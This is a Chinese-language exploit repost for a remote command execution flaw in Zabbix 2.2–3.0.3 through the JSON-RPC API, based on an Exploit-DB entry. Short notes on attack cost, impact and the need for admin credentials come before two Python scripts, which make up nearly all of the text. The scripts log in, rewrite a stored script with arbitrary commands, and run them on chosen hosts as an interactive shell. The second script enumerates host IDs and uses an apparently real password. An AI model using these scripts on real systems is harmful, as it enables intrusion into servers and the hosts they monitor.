Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

monicazhang

from:6330498/1839957

漏洞来源: exploits/39937/

攻击成本：高

危害程度：低(此洞需要密码)

利用条件: 需要高权限用户登录

影响范围：2.2 < 3.0.3

tips:

此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。

此exp并不是很完美,因为不会自动获取hostid。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: h
# Software Link: download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = 'http://192.168.66.2' ### Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit

login = 'Admin'    ### Zabbix login    账户
password = 'zabbix' ### Zabbix password  密码
hostid = '10084'  ### Zabbix hostid 需要指定命令的主机

### auth
payload = {
   "jsonrpc" : "2.0",
"method" : "user.login",
"params": {
      'user': ""+login+"",
      'password': ""+password+"",
},
   "auth" : None,
"id" : 0,
}
headers = {
'content-type': 'application/json',
}

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break

### update
payload = {
      "jsonrpc": "2.0",
      "method": "script.update",
      "params": {
         "scriptid": "1",
         "command": ""+cmd+""
      },
      "auth" : auth['result'],
      "id" : 0,
}

cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
payload = {
      "jsonrpc": "2.0",
      "method": "script.execute",
      "params": {
         "scriptid": "1",
         "hostid": ""+hostid+""
      },
      "auth" : auth['result'],
      "id" : 0,
}

cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
print cmd_exe["result"]["value"]

修改版本自动获取hostid

#!/usr/bin/env python2.7
#coding=utf-8

import json
import requests

url = "api_jsonrpc.php"
header = {"Content-Type": "application/json"}
username = 'admin'
password = 'haixue!@#'

#get auth id
payload = {
"jsonrpc" : "2.0",
"method" : "user.login",
"params": {
      'user': ""+username+"",
      'password': ""+password+"",
},
"auth" : None,
"id" : 0,
}
headers = {
'content-type': 'application/json',
}

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

#get hostid
data = {
"jsonrpc":"2.0",
"method":"host.get",
"params":{
      "output":["hostid","name"],
      "filter":{"host":""}
},
"auth":""+auth['result']+"",
"id":1,
}
hostid = requests.post(url, data=json.dumps(data), headers=(headers))
hostid = hostid.json()

print 'uid\tname'
for hid in hostid['result']:
print hid['hostid'],hid['name']

#exec command
hostid = raw_input('\033[41m[input_hostid]>>: \033[0m ')

while True:
cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break

### update
payload = {
      "jsonrpc": "2.0",
      "method": "script.update",
      "params": {
         "scriptid": "1",
         "command": ""+cmd+""
      },
      "auth" : auth['result'],
      "id" : 0,
}

cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
payload = {
      "jsonrpc": "2.0",
      "method": "script.execute",
      "params": {
         "scriptid": "1",
         "hostid": ""+hostid+""
      },
      "auth" : auth['result'],
      "id" : 0,
}

cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
print cmd_exe["result"]["value"]

if cmd == 'quit':
      break

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